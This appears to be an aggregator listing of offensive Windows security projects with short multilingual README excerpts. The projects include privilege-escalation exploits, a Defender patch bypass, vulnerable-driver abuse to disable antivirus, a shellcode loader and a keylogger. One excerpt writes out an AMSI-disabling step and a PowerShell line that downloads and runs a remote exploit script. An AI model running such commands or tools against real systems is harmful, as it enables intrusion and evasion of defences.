CLSIDFinder

CLSIDFinder Invoke-CLSIDFinder enumera las entradas CLSID y AppID del registro de Windows para identificar objetos COM asociados con servicios de Windows a través del valor LocalService. La función correlaciona estas entradas, exporta los resultados a un archivo CSV e intenta la activación COM...

ShieldBreak

ShieldBreak - Windows Defender 0day vulnerability Microsoft has failed to properly patch the RoguePlanet vulnerability CVE-2026-50656, this PoC demonstrates a full patch bypass. The PoC was tested in the latest version of windows 11 25h2 +Canary channel and windows server 2025, the PoC also have ...

archiver-MOTW-support-comparison

Comparison of MOTW Mark of the Web propagation support of archiver software for Windows English | Japanese Background On 3 March 2022, Microsoft announced that the default behavior of Office applications on Windows will be changed to block macros in files from the internet such as email attachmen...

showstopper

ShowStopper - Herramienta de exploración de trucos Anti-Debug Contribuido por Check Point Software Technologies LTD. Programado por Yaraslau Harakhavik Resumen El proyecto ShowStopper es una herramienta para ayudar a los investigadores de malware a explorar y probar técnicas anti-debug o verifica...

Windows-Defender-Security-Auditor-CVE-2026-50656-

مدقق أمان Windows Defender أداة تقييم بمستوى المؤسسات لوضع أمان Windows وصيد التهديدات تم التطوير بواسطةAmish Kumar — باحث أمني / مهندس أمن CVE-2026-50656 نظرة عامة Windows Defender Security Auditor هي أداة تقييم أمني شاملة وغير تدخّلية مبنية على PowerShell، مصممة للنشر على نطاق المؤسسة عبر نقاط...

BYOVD

BYOVD is a collection of PoCs demonstrating how vulnerable drivers can be exploited to disable AV/EDR solutions. The collection includes both undocumented drivers and those with existing coverage in LOLDDrivers or Microsoft's recommended driver block rules. Since its initial discovery, the TfSysM...

CVE-2022-30190

CVE-2022-30190 On Monday May 30, 2022, Microsoft issued CVE-2022-30190 regarding the Microsoft Support Diagnostic Tool MSDT in Windows vulnerability. A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who...

BadBlue

BadBlue विंडोज़ CVE-2024-21306 BadBlue कार्यान्वयन DuckyScript का उपयोग करके अनधिकृत पीयरिंग जो कोड निष्पादन की ओर ले जाती है HID कीबोर्ड का उपयोग करके यह marcnewlin द्वारा खोजे गए CVE का एक कार्यान्वयन है और BlueDucky से कुछ कोड परिचय BadBlue एक शक्तिशाली उपकरण है जो ब्लूटूथ उपकरणों में कमजोरियो...

SysTracingPoc

SysTracingPoc CVE-2020-0668 - Vulnerabilidad de escalada de privilegios local por movimiento arbitrario de archivos en el seguimiento de servicios de Microsoft Windows Para más información: https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/...

Windows-Exploitation-Web-Server-Tomcat-8.5.39-CVE-2019-0232

لا يحتوي هذا المستودع على ملف README...

CVE-2018-8410

CVE-2018-8410 PoC para la vulnerabilidad de elevación de privilegios del registro del kernel de Windows...

cve-2021-1675

cve-2021-1675 deshabilitar amsi: copiar en powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt ejecutar invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' crear cuenta de...

printDemon2system

printDemon2system CVE-2020-1048 PrintDemon privilege escalation to SYSTEM PrintDemon was a logic vulnerability in the Windows Print Spooler service spoolsv.exe. The vulnerability was in the way the spooler handled print jobs to files, and when exploited allowed arbitrary writing to the file syste...

Java-Shellcode-Loader

Java ShellCode Loader A ShellCode loader implemented in Java, compatible with 32-bit and 64-bit platforms. The core principle is to use Jna to call Windows APIs to achieve shellcode injection. Runtime environment: Jre = 1.5 Note: This project is already integrated into the ShellCodeLoader module ...

Nim_DInvoke

Nim DInvoke D/Invoke implementation in Nim All Nim binaries typically expose the same 58-60 Windows API functions: All other Windows API functions are typically resolved on runtime via GetProcAddress and LoadLibraryA as mentioned in OffensiveNim or this blog post. So, it's not possible to hide AP...

SharpWnfSuite

SharpWnfSuite This is the repository for Windows Notification Facility WNF tools. Currently, a C port of the tools in wnfun developed by Alex Ionescu @aionescu and Gabrielle Viala @pwissenlit has been uploaded. When I develop additional tools for Windows Notification Facility, they will be upload...

DogWalk-rce-poc

Dogwalk إثبات المفهوم🐾 root@kitploit: 🚨 إخلاء المسؤولية 🚨 يمنح هذا الإثبات المهاجم القدرة على تنفيذ حقن كود عن بُعد على جهاز الضحية بنظام Windows. الهدف من هذا المستودع هو جعل الإثبات أكثر قابلية للاستخدام من المستودع الأصلي. لا تستخدمه دون إذن مسبق! فيما يتعلق بالضرر الناتج وسهولة الاستغلال،آمل ...

SliverKeylogger

Sliver Keylogger This extension to sliver was written mostly as a learning exercise into how sliver handles extensions. I would like to thank the entire Sliver team for there work on this public implant framework. I would especially like to thank @rkervell for answering many of my questions relat...

CVE-2025-24071

CVE-2025-24071PoC CVE-2025-24071: Fuga de hash NTLM a través de extracción RAR/ZIP y archivo .library-ms Windows Explorer inicia automáticamente una solicitud de autenticación SMB cuando se extrae un archivo .library-ms de un archivo .rar, lo que provoca la divulgación del hash NTLM. El usuario n...

CVE-2018-8120

CVE-2018-8120 CVE-2018-8120 Windows LPE exploit Probado en: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64 WinXP x32, Win2003 x32,Win2003 x64 El exploit original no soportaba XP ni 2003; el código actual añade soporte para estos dos sistemas sob...